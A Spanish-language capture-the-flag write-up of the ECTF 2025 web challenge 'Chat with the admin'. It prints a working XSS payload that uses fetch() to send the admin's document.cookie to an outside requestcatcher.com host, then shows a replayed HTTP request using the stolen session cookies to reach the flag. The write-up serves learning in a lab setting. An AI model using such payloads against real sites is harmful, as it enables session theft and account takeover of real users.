writeup reto web -Chat with the admin de ECTF 2025

1v0t
4 min readFeb 9, 2025

--

El pasado fin de semana, estuvimos jugando varios CTF, sin embargo uno que disfrutamos por aprendizaje aunque no diera puntaje, fue el ECTF 2025, es creado por CYBER & CHILL, como lo mencionamos en una entrada pasada la mejor forma de aprender y entrenarnos es escogiendo de una manera estratégica eventos que nos den mejores conocimientos y de esa forma optimicemos el proceso de aprendizaje aunque estos no den puntaje en CTFtime.

La entrada de este post, es solo para un reto , sin bien desarrollamos varios, el conocimiento de este nos pareció muy cool y útil para compartir.

El reto se llama: Chat with the admin

Para este reto nos daban un servidor web , el cual previamente debemos subirle una instancia para jugar, esta dura activa una hora.

Despues de analizar el sitio web un rato identifique que tenia un fallo de XSS.

Dado que en el enunciado mencionaba que la flag estaba en algún lugar de la interface del administrador, en este punto llegue a la conclusión de que el reto consistía en usar la explotación del XSS, para robar las cookies del administrador como lo vi en algún momento en un laboratorio de portswigger , para esto use requestcatcher.com.

Luego genere y envié el siguiente payload:

<script>
fetch('https://1v0t2.requestcatcher.com/?cookies='+document.cookie);
</script>

Posterior a eso empeze a ver esto en el servidor de requestcatcher

Sin embargo la petición que mas me intereso fue la de:

GET /?cookies=username=Bob;%20id_value=admin_aeg5af2z3cds2csdsdc6cnb;%20DO_NOT_DELETE=true;%20bypass_glbstkf=glbstkf
2025-01-31T23:52:16-05:00

Pues se podia obervar que decia admin, un username y la palabra no borrar.

Previamente en el análisis inicial sabia que las peticiones cuando accedía al sitio, por defecto era de un usuario llamado alice y que no tenia permisos admin (no encontré el screnshot de esta parte).

Entonces lo que hice fue coger esa petición y pegar los valores que llegaron del servidor web del reto (es decir el vulnerable a XSS y que explote para envio de cookie ) a mi servidor de requestctacher después de el envió de el payload para robar las cookies y se veía así la petición :

POST / HTTP/1.1
Host: instances.ectf.fr:56873
Content-Length: 15
Cache-Control: max-age=0
Accept-Language: es-419,es;q=0.9
Origin: http://instances.ectf.fr:25586
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://instances.ectf.fr:25586/
Accept-Encoding: gzip, deflate, br
Cookie: username=Bob; id_value=admin_aeg5af2z3cds2csdsdc6cnb; DO_NOT_DELETE=true; bypass_glbstkf=glbstkf
Connection: keep-alive

message=hello

Una vez enviado esto obtuve la preciada flag.

Este reto fue interesante no solo por la explotación, sino porque primero fue necesario comprender la estructura de las peticiones en el servidor. Una vez obtenidos los datos y entendiendo cómo utilizarlos en la explotación, logré completar el desafío con éxito. Tal como decía la flag: robar la cookie de manera efectiva. 😃

Varios writeups detallados, como el anterior, así como de distintos retos y categorías en los eventos en los que participemos, serán publicados por diferentes miembros del equipo. Pueden encontrarlos en nuestras cuentas de X y LinkedIn.

--

--

1v0t
1v0t

Written by 1v0t

OSINT, threat hunting, CTF, forensic analysis, hunting down bad guys to complete the puzzle.

No responses yet